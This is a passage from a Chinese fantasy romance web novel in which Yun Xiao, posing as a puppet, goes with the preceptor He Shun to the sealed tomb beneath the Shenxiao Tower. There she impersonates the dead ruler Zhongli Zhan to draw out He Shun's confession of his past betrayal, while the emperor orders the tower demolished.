云绡终于出了浴桶,正在屏风另一侧擦干身体,听见这声疑问踮起脚越过屏风,奇怪地看了钟离湛一眼,在看见钟离湛通红的耳尖后心道真是怪了。 他摸她伤口的时候没见他目色动情,现在突然害羞什么? 云绡重复道:“我说……我要不要诈一下他?” 何舜在知道云绡能够和钟离湛的意念于脑海中通话后,若他真的是为了复活钟离湛且没有其他私心的话,一定不会甘心就将她留在皇宫,也定然会想方设法地了解更多关于钟离湛的事,哪怕只是听一听他通过云绡的口说出的话。 可若他也是想要利用钟离湛的身体达成他自己不可告人的目的,那他就会尽量减少云绡和钟离湛的接触,也很有可能将她困在皇宫不许她靠近神霄塔,直到他的目的能万无一失的施行。 若何舜短期内再召云绡去神霄塔,前一个推测就更有可能,那她顺势诈一下他,说不定能诈出何舜当初背叛钟离湛的原因。毕竟他曾是钟离湛最信任的人,云绡以为,钟离湛多少会有些在意的。 裹紧衣裳,云绡钻入了软厚的锦被中,待了一会儿身上都凉了钟离湛还在屏风另一边的浴桶中没动静。 云绡正欲开口,他便绕过屏风出来了。 钟离湛脸上的红晕还没退去,但眉心微蹙,对云绡道:“不要试探他,稳步进行就好。” 顿了顿,他又道:“我不在意他究竟为何杀我。” 钟离湛不在意何舜究竟为何杀他,那已经是两千多年前的事了,纵使知晓原因也无法改变事实,也就不必要为了这些无用的信息增添云绡的风险。 云绡往床榻里头挤了挤,拍着身边的位置示意钟离湛陪着自己躺下,钟离湛将人抱在怀中,云绡便在他的怀里找了个舒适的姿势。 其实她也不太在意何舜的心理动机,因为伤害已经成为事实,钟离湛落得如今的下场,何舜是主要原因。 可若情况允许,云绡也还是想要弄懂他当初背叛钟离湛的理由,说不定这会牵扯到云上巨人是如何联系他们这些叛徒的,此举是否违反了他们设立棋局的“游戏规则”? 只要回忆起九星连月阵将她带回过去经历的那些过往,云绡就无比心疼钟离湛,她是知晓了钟离湛的结局才回到过去查看被他忘记的真相的,也正是因为她的出现,所以那个时候的他其实也早就猜到了自己的结果。 云绡将钟离湛抱得更紧了一些,她将脸埋在了他热腾腾的怀抱中,脸颊贴着他胸膛的皮肤,像是能听见他的心跳。 “别担心,哥哥。”云绡抚慰着他的背后:“我会救你的。” 她手臂上的伤与心口的伤比起她过去曾经历过的又算得了什么呢?云绡能面不改色地承受,只要这一切,能让她拥抱住真正的钟离湛,那就值得。 - 何舜果然如云绡所料的那样,很快就再见了她一次,还是将她召到了神霄塔处的光盈殿。 云绡也学着傀儡的样子,假模假样地说了两句无关痛痒的话,但她并未表现得与钟离湛意识相通。 “难道就没有其他办法能让你主动找到他?” 何舜问完,云绡的脑袋微微歪着,像是不明白他的指令。 几次下来,何舜也泄了气,他让云绡离开,而后自己上了神霄塔。 神霄塔的至高处可以鸟瞰整座京都,何舜也能看见云绡独自一人回到皇宫的背影。 日落西山,云绡一身橙红色的衣裳越走越远,像是与火烧云落在金砖玉瓦之上的光晕融为一体。 为何君上没有再问她话了? 难道是因为他将云绡制成了傀儡,她就不再是适合君上的身躯了? 不对,他为了避免这一点,所用傀儡术为活傀儡,云绡的魂魄还是在她的身体里的,她并未死去! 见云绡的身影彻底与这世间其他颜色融为一团,何舜才有些恍然,莫非是因为她离得太远了? 神霄塔屹立两千多年,是压在君上身躯和魂魄上的巨山,便是君上的魂魄苏醒,可以借由梦境与云绡联系,可这坟冢对他的压制仍然在。他灵魂力量不稳,云绡离他太远,或许真是他无法与外界相联的关键! 何舜又想起来云绡刚回宫的那一夜,她独自离开了广茗宫,如同被什么声音控制了身躯召唤着往神霄塔方向走,恐怕那已经耗费了君上太多力气了! 再后来,是她在光盈殿听见了君上的声音,在知道她没死后君上就一直没有再现身,极有可能是他的意念不能离开神霄塔,可控的范围也越来越小。 如若……他将云绡带到君上的跟前呢? 何舜一直在找可以让钟离湛复活的方法,多年苦寻和经营,也只有一个方式——便是寻到一个可以与他灵魂契合的载体,将君上的魂魄从禁地底下释放出来。 合适的载体已经有了,现在他要做的便是破坏禁地底下捆缚钟离湛的阵。 五行相克,结合神霄塔外围的一应设施,何舜还没找到万全的破除之法,所以他住在了神霄塔,每日研究神霄塔内外的五行。 云绡怂恿云光憧推翻神霄塔,何舜当然不会应允! 因为这地底五行相辅相成,一旦破坏其一,便很有可能更改其他阵咒的排列,那他这么长时间的研究被打乱不说,还极有可能触发禁地底的六杀阵和摄魂咒,再一次对钟离湛好不容易复苏意识的残魂进行第二次绞杀! 更有可能……叫那云端上的神明察觉,以雷霆降罪,让钟离湛灰飞烟灭。 他命不久矣,恐怕只剩短短数十年,他不能拿这唯一的机会去赌,但他能让钟离湛自己选择! 若他将云绡带到禁地里,钟离湛可以直面这个最适合他灵魂的载体,是不是他会更快地活过来? 哪怕何舜害怕见到钟离湛,哪怕他心中有无尽的愧疚和悔恨,哪怕他会直面钟离湛的憎恶和失望,哪怕钟离湛会指责他坏了他和云绡原有的交易,他也要把钟离湛从那布满怨气的血泥里拉出来! - 云绡刚回到皇宫便迫不及待地去找云光憧。 云光憧听见动静一怔,只见云绡堂而皇之地闯入自己整理政务的金殿,阔步疾行,一巴掌拍在了桌案上,声音颤抖喘着粗气道:“你必须得弄死他!弄死那个国师!” 云光憧不明所以,但见云绡如此失态,他也知道事态严重。 “他……怎么了?” “他会妖术!近来我总是会忘记一些事情,莫名其妙就离开了广茗宫,且我的记忆里似乎没有见过国师,可周围的人都告诉我,我已经面见他许多次。”云绡说出这句话后,云光憧的脸色骤然煞白了。 因为在他的记忆里,云绡也已经见过许多次国师,甚至她此刻出现在这里,很有可能是才从神霄塔出来。 “皇兄,神霄塔下绝对有秘密!且不论那秘密是否真的是杀神身躯可以长身不老,便冲着国师将神霄塔内外把持森严,且用各种理由推诿你的提议,便足以证明那神霄塔下绝对是对他重中之重的东西!”云绡继续道:“若那是他的软肋呢?我们总不能一直被动,今日是我,明日就是你,皇兄!你如今可还是凌国的帝王!” 他只要还是凌国的帝王,就不该被一个由他亲封的国师所控制。 更何况这几日他每每提起神霄塔,国师都用各种借口搪塞他,云光憧也问了仲卿,若真是重建神霄塔,这几日都可动土绝无忌讳。 或许真的如云绡所说的那样,是他自己惹祸上身,心性不坚被景妍迷惑,吃了也不知对身体有无害处的丹药,还将一个狼子野心之辈推上了国师之位。 他如今还是凌国的帝王!他不能和云绡一样,有朝一日连自己做过什么,去过何地都无法控制! 若他拿住了国师的软肋,是否也可以反威胁对方一把?便是不能长生又如何?他总要先活下来!至少得守住他云氏的祖宗基业吧! 云绡在云光憧跟前的一通乱演,的确让云光憧辗转难眠。 她也不管云光憧半夜做了几回噩梦,又偷偷跑去仲卿那边请了多少张安神符。算着时日,她让徐容靳做的事应当也已经有了眉目了。 比徐容靳的动作更快的,是何舜。 云绡又一次被他用傀儡之术召唤到了神霄塔,这一次不是在光盈殿与他碰面。 云绡终于穿过了那道将神霄塔与外界阻隔的围墙,真正站在神霄塔的面前。 钟离湛看着近在咫尺的高塔,已经感受到了他身体的方位,甚至能听见灵魂与身躯共颤的心跳声。 只要能让他的身体重见天日,他的魂魄再回到身体里,他便可以真正的苏醒过来。 第138章 冬日的阳光少有今日这般和煦,晒在人的身上都透着一股暖意。 金灿灿的光芒照射在京都最高的神霄塔上,于飞檐下的风铃折射出夺目的细闪,云绡只看了会儿便收回了目光,让视线涣散,在何舜面前还保持着一副傀儡的模样。 何舜下定了某种决心,就没有在神霄塔前试探云绡的用意,直接将云绡领进了神霄塔。 这里是云绡第三次来,第一次是她用周泉礼的令牌进来假装翻看历史,实际上她只是为了造成自己杀死周泉礼后的不在场证明。 第二次来是钟离湛察觉出神霄塔下禁地的特殊,附身在了她的身上。彼时云绡眼前一片漆黑,再回过神来时看到的便是显帝即将被神鬼蛊害死的画面。 也是这第三次来,云绡才知道原来神霄塔下居然还有一条隧道是能直接通往埋葬着钟离湛的天祭台深井井底的。 神霄塔内的阵界随着步入的人而变化,高耸直通穹顶的书架摆成了如同迷宫一样的八卦阵,越过此阵之后逐渐露出了一道步入禁地的窄道。 上次云绡离开这里只顾着逃命,并未仔细去看,原来这条窄道的墙壁上也画满了咒文。 如今云绡对这些古老的东西也不是一无所知,只一眼她就能认出这些都是起到震慑和封锁作用的,与六杀阵有异曲同工之处。而这条窄道的尽头,与神霄塔在地底形成倒影的禁地里,处处都是摄魂的血咒。 巨石铺成的地面上深刻下去的咒文曾被显帝的血液填满,如今早就被清晰干净。 何舜经过这里的时候脚步没停,也没四处观看,他不太想面对这些东西,即便拓本他已经看过了无数遍,可经过两千多年他也没能真正弄懂这些阵咒该如何破解。 走到一面漆黑的墙壁前,何舜没有防备地对着几个阵咒深陷进去的裂痕按下去,而后石壁颤动,巨石一推便成了扇叶门,有一条可以供人进入的隧道。 这隧道云绡走刚好,何舜走起来就有些费劲。 他对这里也不熟,途中撞了好几次脑袋,可见如云绡所料,他即便占据神霄塔,但过去这么久他都没敢真的来见钟离湛。 内心极为愧疚者才会恐于面对,若有邪心外道的便不会将这些面对曾经自己行径的羞耻放在眼里。 这条隧道比想象得要长,他们终于走到了尽头,云绡也到了一个熟悉的地方。 天祭台下的深井范围并不大,灰尘密布的地方四周空荡荡的,唯有被埋在黑暗中的人露出小半截身躯。 此地仍然被神霄塔挡住了绝大部分的光。 清晨的光芒透过飞檐下的铜铃,几点碎裂的斑驳照在了天祭台井口处,再由附着其上的露珠一层层折射,最后洒进禁地底的也只剩下可以忽略不计的微芒。 云绡的眼一时不能适应黑暗,过了好一会儿才看清深井下的一切。 和她当初带钟离湛离开时没什么不同。 何舜愣在了原地,他挡住了云绡的身躯,站在距离钟离湛最远的地方。 身后的石门突然发出了关闭的声响,打断了长久静默。 何舜才回过神,他想问云绡,她是否听见了什么声音?可话到了嘴边却什么也说不出来,心跳得很快,喉咙也像是被什么东西堵住了一样,半点声音都发不出。 他的目光从入此地之后便只敢往远处看去一眼,而后一直垂下。此时眼前见到的是满地猩红的泥,这是无数个无辜枉死孩童的血肉铺成,用苍生怨气将钟离湛的身躯拉入泥沼,是对他最恶毒的诅咒之一。 而神霄塔,立为他的坟冢,也是那些玩弄苍生者的用意。 何舜不禁回想起后来的他得知这些真相时,那些叛徒看向他的眼神,他们是背叛钟离湛的人,也是高明的贪婪的骗子。 而他何舜是这天底下最愚蠢,也最该死的那个人。 只要想到那些痛苦的过去,何舜便要做些什么来防止自己继续陷到不可控的情绪里。 他沿着红泥往禁地底的墙壁边缘走,他记得这些墙上应当也有六杀阵的咒文,非但如此,他们后来在盖建坟冢时不知添加了多少震慑之阵符进去。 何舜的手一寸寸地抚摸着墙壁,想要将写在这上面的符文都记下,待到离开这里后再写下来,想办法破解。 云绡看他都已经快要摸到九凤图了,若让他摸到九凤图上无九凤,那这禁地之上的拘魂阵和禁地之内的缚鬼咒都被她破了的事岂不暴露? 云绡正想着此刻该怎么做呢,那边已经走回到自己身体跟前的钟离湛突然朝她挥了挥手。 何舜背对着云绡,并不知云绡瞪大了眼睛,目光惊恐地看向钟离湛挥手后指着的地方。 就在他身体正前方,一颗早就已经干瘪了的桃核大咧咧地躺在红泥上。此地极阴,它根本不可能有生根发芽的机会,且禁地内无植物生机,所以红泥 上多出任何一点东西都十分明显。 也是因为何舜始终不敢朝钟离湛看去,所以他还没发现那颗桃核。 若被他发现,他定会顺藤摸瓜查出之前云绡设计周泉礼,也掉入过禁地的真相,到时候便不是她一个又一个谎言能解释得清的了。 云绡正头皮发麻地思索着呢,突然看见钟离湛也焦急得不知如何是好,然后……他就一脚踩在了桃核上。 云绡:“……” 憋笑很困难的好不好! 她瞪了钟离湛的脚面一眼,拜托!魂魄能遮住什么啊?! 钟离湛也是关心则乱,他踩一下桃核不过是抱着试试看的态度,被云绡瞪了之后他也知道自己的行为有多可笑。 那边何舜正疑惑着,他似乎摸到了九凤真官符文,可却没摸到九凤真官,云绡的身体突然走动了。 轻微的脚步声在这个时候尤为清晰。 何舜转身看去,云绡已经走到了钟离湛的身躯跟前,在何舜看过来的那一瞬,她的脚正好踩在了那枚桃核之上,而后就定在了那里没动。 何舜的呼吸一窒息,不可置信地看向她,他没催动傀儡,所以傀儡能动,定然是受到了其他力量的召唤。 随着日出越来越高,没有圣仙像的遮挡,天祭台的禁地之下终于迎来了一线浅光。 那道光洒在了何舜的身前,像是一条鸿沟,将他和云绡,还有钟离湛的身躯隔开。 云绡站在他和钟离湛之间,遮挡了他的视线,那双空洞的眼正对着何舜的目光。就连这线光芒到来得都刚好,它洒在禁地之下的浮尘上,漂浮的白灰如同一面薄纱,叫生死朦胧相隔。 “君上……” 何舜对着云绡唤了一声。 云绡的表情没变,嘴唇一张一合,毫无感情地出声:“何舜。” 这两个字仿佛让何舜的所有猜测都在此刻尘埃落定,也像是悬在他头顶上的那把利刃终于落了下来。他的心跳在这一瞬没了动静,整个人也如同行尸走肉一样枯站着。 他没想到钟离湛能一眼就认出他,毕竟他早就面容尽毁,连身形也变了,声音沙哑难听,身上还有活死人腐朽的枯焦味! 何舜突然有些惶恐,他不知钟离湛会对他说些什么,他高兴于经过两千多年,钟离湛居然还能记得他,又害怕钟离湛记住了他,也知道他这些年的所作所为。 云绡没打算对何舜说什么,这个时候说多错多,不如让他自己去猜。 云绡之前就发现了,何舜对钟离湛的感情很复杂,他似乎被这种感情所困,一旦情绪起伏太大就容易丧失理智,所以每一次他在临界点前都会让云绡离开。 此刻在禁地,无路可去,她不过是喊出了他的名字就足够叫他六神无主,而他,也没机会躲避,只能在这狭小的空间里直面过去。 “君上一定对我很失望。” 何舜不敢听钟离湛的声音,可他又想听。 从钟离湛死去,从洛锦想要杀他又被他反杀,之后这世上再也没有人能告诉他,什么是对,什么是错。 何舜就像个迷失在深海波涛中的舵手,他在黑暗中沉浮了两千多年! 两千多年! 他每日都在愧疚和后悔中反复辗转,他没有一天能躲过噩梦的折磨,从他做错了那一件事之后,后来他走的每一条路,每一次选择,都像是歧路,最终总是事与愿违。 这是何舜最接近正确的时刻,因为钟离湛能借由云绡的身体和他说话,这说明他借由云绡的身体复活也不是天方夜谭! “我、我知辩解无用,可何舜对君上忠心耿耿,从未想过背叛君上。” 何舜说道,又不顾脸面地对着云绡屈膝跪地,他透过那抹布满浮尘的光看向云绡,像是能从她的身上看见钟离湛的影子。 “我不知君上难处,我无法替君上分忧,是我自作聪明才跳入了那些叛徒的骗局!他们、他们效仿垚帝,要煮孩童血肉为食,想要得到长生之法,这才会羞于见人,黑袍裹身!我当时顺着湖族孩童丢失之案查到了他们的身上,本想如实禀告君上的!” “他们劝我加入他们,我怎会同意?我憎恶垚帝,更憎恨食人之鬼!可我听到了他们的计划,若能摄帝王之魂加入血肉炼制成丹,长生之法就更有可能成功,我……想利用他们,假借他们之手,布下摄魂阵咒,救君上一命。” 何舜说到这里,那张被黑色面纱遮住的脸愈发扭曲,狭小的空间让他呼吸都变得困难,周围的黑暗让他想到自己不见天日的那段噩梦时期。 明明一切都在他的计划之中,明明他已经掌握了那些叛徒的把柄,若顺着他们计划,能杀死钟离湛身上的邪祟,再将他们交给钟离湛,解除百姓对君上的误会,这是一举两得之法! 可何舜没想过那些人身后站着的靠山是谁,也没猜对,真正想要钟离湛命的是谁。 假的宫殿从里面着火时何舜就察觉到不对了,那个时候他就已经后悔了!或许君上的确被邪祟所惑,可他也不能和这些居心不良者合作!便是有摄魂之法,他也可以学来和洛锦商量一个合适的时间再操作。 他太急了! 可偏偏一切送到他面前的机会都那么刚好,就像一个明晃晃针对他而施行的诱饵。 “后来我才想到,有段时间我总会做梦,梦见君上中邪出事,也是因为这些梦才让我察觉到君上的身上似乎有第二个人……可怎么可能呢,谁又能附君上的身。那些梦境,是他们的阴谋!就如同摆放在那些叛徒跟前的诱惑,有人求财,有人求权,有人求生,我也有我所求……” 那段时间,世人针对钟离湛谣言四起,他一心奉若信仰的君主,不能再经历下一场阴谋陷害,而他身上发生的转变,恰是他人攻歼他的死穴。 何舜的眼眶中流下两行血痕,声音颤抖:“我……不为自己辩解,不求君上原谅,只要君上告诉我,我如今该如何做?我知君上深陷阵法血泥无法脱身,若想自由,得换身躯,如今她的身躯就在您跟前,我要如何帮助君上?” 何舜还想为钟离湛办事,他还想要钟离湛给他下达一个指令,就像过去一样。 他也会变成过去一样,尽自己所能,完成得无可挑剔。 何舜没等到钟离湛回答他。 阳光只短暂地在禁地上空路过,很快这里又重归黑暗。 云绡从始至终只喊了他的名字,再没出声。 何舜静等了许久,忽而一怔,抬头朝天祭台上空看去。 神霄塔外有他的眼线传来要事,重急之事,敲鼓三声,他得先出去了。 何舜又期待地朝云绡看去,再急,他还是又等了一盏茶的时间。 一盏茶之后,他犹豫了会儿选择离开,将云绡的身体就放在这禁地之下,左右她已是傀儡,且于君上有用。 何舜走了,云绡 才眨了一下眼。 想必这个时候召他离开的消息,应当就是云光憧连续多日难以安眠后,终于下定决心的圣旨了吧。 第139章 云光憧连续数日难以安睡,只要他闭上眼睛,想到的都是云绡如同发了癔症一样对他道:“国师控制着我的身躯!我已经忘记了自己曾经做过什么事!总有一天他这妖术也会用在你的身上!更甚至……他那些丹就是操纵你意识的药!” 她的双眼里布满了血丝,一会儿像是过去那个可怜无助的少女,一会儿又成了回京后自得意满的公主,两种不同的云绡在他梦境中来回闪过,那一次次变化的脸最终变得木讷毫无表情。 她一字一顿地对云光憧道:“皇兄,你现在还是凌国的帝王,你还有能力和国师抗衡,只有抓住他的软肋,才能操纵自己的人生。” 只有抓住他的软肋!才能操纵自己的人生! 云光憧从仲卿那里请来的安神符也起不了什么作用,他知道自己睡不着的症结所在,国师的存在,就像是悬在他头顶上的一把利剑,这叫他如何敢闭上眼? 云光憧再一次难熬了大半夜,又顶着疲惫的身躯上早朝,他当时浑浑噩噩,根本听不进去这些朝臣们在说什么。 他们言辞激烈,那似乎是很重要的事,云光憧撑着发疼的脑袋,从其中捕捉到了关键话语。 凌国其他几族境内各地出现了异象,有人从历史翻阅中看出这是天降异色,曾经凡是出现此异象后没多久,各族之间便会有人挑起战争。 又有人说这些不过都是子虚乌有,战争皆是野心者挑起的,他们的心思上苍也无法监测,更不会基于这些给予异象警示,天地变色,或许与四时有关。 “可已经有异族者入京上奏!希望陛下替他们排除忧患!就好比那尾人族,徐长老忽发奇症自挖心口,昏迷至今未醒,尾人族的若川山间便发现了上万骸骨,这就是异象警示!” “还有,还有那旖族鬼女山,入夜便听鬼哭狼嚎,有人在那鬼女山附近看见了幽魂出没,凡是路经鬼女山的都撞上了鬼打墙,险些有人死在山外,这也是异象警示!” 另一位大臣听到这些,只觉得万分可笑:“难道李大人还相信这世上真有神,真有鬼?你说的这些什么白骨,什么鬼影,我看都是他们杜撰,便是想要朝咱们讨要好处或免除今年的贡!” “你、你简直不可理喻!若你真不信这世上有鬼有神,那圣仙怎么说?年年五月圣仙节,难道这都是假的?神霄塔从何而来?咱们陛下荣请国师,测算十一殿下八字与国运相连,册封圣女,又怎么算?”李大人有理有据地反驳。 另一位大臣一时语塞,吹胡子瞪眼。 云光憧便是这个时候开口的,他突然福至心灵,知道自己该如何拿住国师的软肋,也可以解决两位大人在朝堂上的争执。 他道:“既各族都言,天降异象是为祸,依孤来看与其派人派银前去调查,倒不如重修神霄塔,请圣女上台祈福,国师做法祭祀。一来不可让他们用此借口免除年贡,二来也算昭告天下,凌国有圣女坐镇,一切妖魔鬼祟皆不敢造次。” 两位大人一怔,倒是觉得此举可行。 重修神霄塔,那是在京都花钱,不怎么废人远行,废力查因。至于圣女祈福,国师祭祀,那都是顺带而行,也可以堵住百姓悠悠之口。 重修神霄塔一事,便就在朝堂上尘埃落定。 - 何舜出了天祭台下,赶往神霄塔前见到敲鼓有要事禀告的眼线时,云光憧已经当着一众大臣的面请仲卿仙师测算了吉时,就在三日后动土。 圣旨已下,他想去阻止都来不及了。 何舜只觉得那一瞬寒风刺骨,他几乎要站不住,一切明明都已经往好的方向进行了,偏偏这个时候出了岔子。 天子要动土重建神霄塔,满朝文武皆赞同,他还有什么立场和理由去阻止呢? 若这个时候他去给云光憧设下傀儡术,将他变成提线木偶,是否能收回成命?何舜只需思索一瞬便推翻了这个办法,早知如此,他从一开始就不该为了省去一些麻烦,留云光憧清醒。 何舜没想过这个时候将云光憧变成傀儡,便是因为他不确定云绡是否就是他一定要找的那个人。 若云绡不是,何舜就还需要再找更合适的人。他没有精力照看凌国江山,云光憧意识自由才好,这样他只需要拥有足够的权力再借此权力去寻找更适合钟离湛的身躯。 若云绡是,何舜倒是可以将云光憧变成傀儡,可也不是现在钟离湛尚未附身在云绡身上的关键时刻。只要钟离湛附身成功,别说是将云光憧变成傀儡,就是将他杀了,扶“云绡”上位成为凌国主宰也未尝不可。 现在呢?现在他还能走哪一步? 三日后便要动土推翻神霄塔,而神霄塔当初之所以能建成,定然有云端上恶劣的操纵者之手笔,高塔倒地,苍天会怎么做? 偏偏这个时候,什么各族各地发现了异象的说法渐渐传入京都。 而往往这些消息传入京都,便说明在他们本族地界里基本做到了人人皆知的程度。 尾人族若川山上的白骨是他所为,旖族鬼女山曾叫锦仙山,那山上有个神女他也是知道的,莫非是神女睡了两千多年如今苏醒了? 尾人族和旖族都传来了异象消息,那曦族和湖族呢? 曦族的异象,是否与渡仙城的大火有关?湖族的异象—— 何舜突然想起了东洲望月山上的圣仙像,那座圣仙像的由来他很清楚。就像他知道锦仙山上有洛娥,他也知道望月山处的那抹神明残魂,是在钟离湛两千多年前被封印之后才陨落至此的。 若非元司,他也不会知道当年那些叛徒一起设计绞杀钟离湛的真正原因,也不会知道他当初有多愚蠢,不会知道钟离湛其实还有醒过来的机会,只要他去做! 何舜去过东洲很多次,每年都不错过,他不认为元司的魂魄希望钟离湛好,但他知道元司卑劣,他可以用自己的方式从元司口中套出有用的消息。 比方如何练就神鬼蛊…… 元司会是湖族的异象吗?毕竟所谓的圣仙是湖族的女子,而东洲如今已经是湖族的地界了。 这些异象频频出现,究竟是为何?谁在背后操纵着这些? 何舜抬头看向天空,面前的神霄塔之高,高得他看向塔顶时有一瞬间的眩晕,灿烂的阳光叫他感受不到丝毫暖意。 他想起了方才眼线说起朝中大臣对峙时,那位李大人的说辞,翻阅古今史记,凡是天降异象不久之后便是五族征战,改朝换代。 何舜活了两千多年,当然知道那天色上的异变,其实就是云上执子对弈者们朝苍生设的又一场局。他们要在这场现有的局面上分出高下,一场暴雨来临,人间又将成为炼狱。 而他……可能等不到下一个和平时代,他或许会死在数十年的战争中,荒年乱象间,他也更难达成让钟离湛复活的夙愿。 云绡……云绡是他最后的机会! - 天祭台底,云绡看着已经越过井口的光芒,也知道这个时候焦头烂额的不止云光憧,定然还有方才在这里好一番剖白的何舜。 何舜方才说的那段话里也有一个关键,让云绡有种恍惚和不真切感,冥冥之中自有注定的宿命在这一刻形成了她无法破解的闭环。 “哥哥,你刚才认真听他说了吗?”云绡轻轻眨了一下眼道:“他说他当初之所以会跳入那些叛徒的陷阱,是因为他自作聪明地想要为你好,而 他以为你不好的原因,是因为当时他在你的身上看见了邪祟。” 云绡扯着嘴角干笑了一下:“他说的邪祟,该不会是我吧?” 钟离湛此刻就站在云绡的身后,听见她的话他立刻转身到了她的面前,捧起云绡的脸仔仔细细地看她的表情,生怕她会因此胡思乱想。 “那是不是说,如果我没有回到过去,我的魂魄不在你的身上,何舜就不会发现你行为举止与往常有异,也就不会顺着那些叛徒设下的圈套,意外促成了你的死亡?”云绡是真的想不明白,所以她的眼神充满了疑惑,思绪也在这一刻打结。 钟离湛身处火海的最后画面,很长时间都是烙印在云绡心头的一道疤。即便如今她知道他有办法复活,却也仍然为过去的他而难过,那些经历过的切实伤害不是假的,这两千多年的骂名和沉睡也不是假的…… 云绡知道自己这样想不对,可她就像是陷入了凌乱的线团里,不论怎么去想都挣扎不出来。 是她的出现,让何舜以为钟离湛有危险,这才将计就计,想要用那些叛徒设下的六杀阵和摄魂咒把她给绞杀。却没想到她的魂魄回到了如今,当初被红泥掩埋的,是真正的钟离湛。 “不是的,绡绡。”钟离湛故意捏了一下她的脸,让她痛上一痛,才不容易陷入牛角尖。 “如果不是你的出现,我不会知道天上人间的秘密;如果不是你带我去锦仙山,我找不到那些所谓神明对苍生诅咒的真相;如果不是你刚好出现在我盖建月坛的时期,彼时浑浑噩噩的我,根本无法支撑上月坛,也根本无法记下月坛上所见那些巨人施咒于尾人族的过程。”钟离湛说着,垂头吻了一下云绡的嘴唇。 轻轻一吻,带着一丝浅笑:“所以,原来天生剑骨之人,果然命硬不易折,三次九星连月阵都能全身而退,而你也果然不适合乱世,更适合救世。” 他的生命中若非因为小仙女的到来,可能他致死也不知晓这世间真相,也就不会有他后来斩断苍穹落在曦族人灵魂血脉中的那根线,他所做的一切,都基于小仙女给他的提示上。 “可是,是你让我回去的。”云绡抿嘴,甚至最开始的第一次,她是无意间回去的。 “所以你看我俩多有缘?你身体里有我的骨,而我的身体里有你的魂,是我救了你,你也将救我。”钟离湛抚摸着她的发丝道:“所以你也不必去想是因为你的出现才让何舜误入歧途,即便当时没有你,他也会在梦境中被云上巨人拿捏到其他软肋,也仍然会走入那些巨人对他设好的死局中。” 钟离湛唯一有些感慰的是,何舜当初并非真的有意背叛他,这也说明当初的钟离湛眼神并不差,他给照国留了一个很好的人去当君主。 一切都像是命运的不可抗力,当时何舜远在连玉州,八百里加急送来的一封信,让钟离湛无法用双眼看穿他所言是真是假,又数日奔波,最终踏入寒夜。 何舜后悔,心防坍塌,最终也没走上钟离湛给他设想好的那条路,照国在短时间内不复存在,而钟离湛的名声自此成了人人喊打又畏惧的杀神。 何舜漫长地活着,漫长地煎熬,也执着地寻求一个弥补的办法。他想要让钟离湛复活的心十分坚定,甚至疯魔到不惜做出这么多伤天害理的事。 若他曾背叛钟离湛,不会有这么深的执念。 而他从未想过背叛钟离湛,却成了杀死钟离湛的罪魁祸首,那他对钟离湛这样复杂的感情才成立。 因为他的疯,他杀了许多人,景妍只是他众多棋子中不起眼的那个,可景妍却生下了特殊的云绡。 云绡又唤醒了钟离湛的魂魄,才能回到过去,找到世间真相。 云绡愣愣地看向钟离湛,道:“所以,不是我,间接害了你。” 钟离湛嗯声道:“没有你,我或许早就死在历史长河里了。” 而这五族由来,那些牵扯着世间每一个凡人身上的每一条无形之线,终世不能斩断。 第140章 何舜不能坐以待毙,三日之期,他未必能在那之前将钟离湛的魂魄引入云绡的身体里,但钟离湛既然苏醒,定然能找到自救之法。 满心只想着钟离湛的何舜没走神霄塔下的通道,而是顺着台阶一层层爬向了天祭台的顶上,斩断了上面层层锁链的封印,借着符力跳入了禁地之底。 从他离开到现在,也不过才只过去了大半天的时间而已。 外界是傍晚,禁地里却半点亮光都没有了。 何舜的眼前伸手不见五指,他双手比了个结印,袖中黄符飞出,在他的眼前燃起微光,暗淡的光照亮他的视野,入目所见的便是一双空洞的朝他看来的眼。 那双眼很近,没有半点呼吸,就像是她早就在黑暗里看着他的一举一动,无声靠近。 何舜的心跳漏了一拍,他不禁往后退了半步。 手中的黄符一分为三,分别点亮在何舜自己的面前,云绡的面前,还有不远处埋着钟离湛的上空方位。 云绡的身躯在他走后又一次移动过,也定然是君上所为。 何舜稳下心神,问:“君上可想到了自救之法?” 云绡没作声,何舜拿不准此刻自己应该看着云绡,还是看着操纵着云绡身躯的钟离湛。犹豫片刻,他还是面对着钟离湛的方向下跪,面朝着钟离湛露出红泥的小半截身躯伏地跪拜。 “君上,神霄塔虽是那些叛徒所建,可这其中掩藏的阵界法咒都不是他们所能完成的,那些在天上操纵着凡人生死的神,为叛徒们指引了方向,所以神霄塔也与上界相连。”何舜将他此刻的难处吐出:“人族的帝王已发圣旨,要在三日后动工推翻神霄塔重建,这势必会引起上界注意,君上苏醒之事就瞒不住了。” “君上可有自救之法?若有,君上不方便做的事我都可以做!还请君上再相信何舜一次,只要是君上吩咐之事,何舜无不达成。”何舜说到这里,声音都是颤抖的。 他知道自己其实也是叛徒,可他仍然期望有朝一日能见钟离湛重回人间巅峰,站在那至高位上带领着苍生众人摆脱束缚。 云绡开口了:“信你?” 见钟离湛终于愿意理会自己,何舜险些喜极而泣,又连忙应声道:“请君上信我,我、我仍然甘愿做君上的左膀右臂。” “你连所知都未全诉,叫孤如何信你?”云绡说话也学着钟离湛的语气,她对模仿钟离湛已经 十分得心应手。 当初的何舜分不出他们,今日的何舜早就与钟离湛阔别两千多年,自然也轻易就跳进了云绡套话的圈套里。 何舜想也没想,就将自己当初如何将计就计,意外促使钟离湛葬身火海后发生的所有都事无巨细地告知。 当时他浑身烧伤,没有救回钟离湛,自己也险些葬身于火海中,是突然天降一场暴雨,浇灭了那座大殿内的火,才让他捡回了一条命。 何舜躺在野地里以为自己要死时,无数次的梦境他都能看见一张张意味深长的笑脸,他们无声地商讨着什么,最终看向他的眼神都是戏谑和怜悯。 何舜在折磨中用了大半年的时光去恢复,等他终于能下地行走了,便迫不及待赶回钟离湛当初出事的地方,那里已经变了模样。 盖了神霄塔,建了天祭台,上面密密麻麻的符文咒印全都是他看不懂的模样。 他终于找到了那些叛徒,询问他们为何要这么做。当然,那些人的回答也不出他所料,这世间唯有人心最经不起考验,当他们的欲望无法被填满,而诱惑又足够多后,背叛也不过是一念之间。 看着那些熟悉的脸,他仍然痛心钟离湛居然曾救过他们。 不值得! 他们不值得钟离湛的救,叛徒不配活在这个世上! 何舜杀了他们,而后晃晃悠悠地回到了曦族境内,回到了钟离湛的王宫。 洛锦就在王宫中。 洛锦没想过自己替钟离湛办了一场诞辰礼,钟离湛没看见那漫天的烟火和大街小巷的人民捧着帝王恩赐的瓜果后脸上洋溢的幸福表情,便与世长辞,横死异乡。 他也没想到一年之后,他会等到何舜回来,那个一封信便将钟离湛骗走,害死钟离湛的罪人。 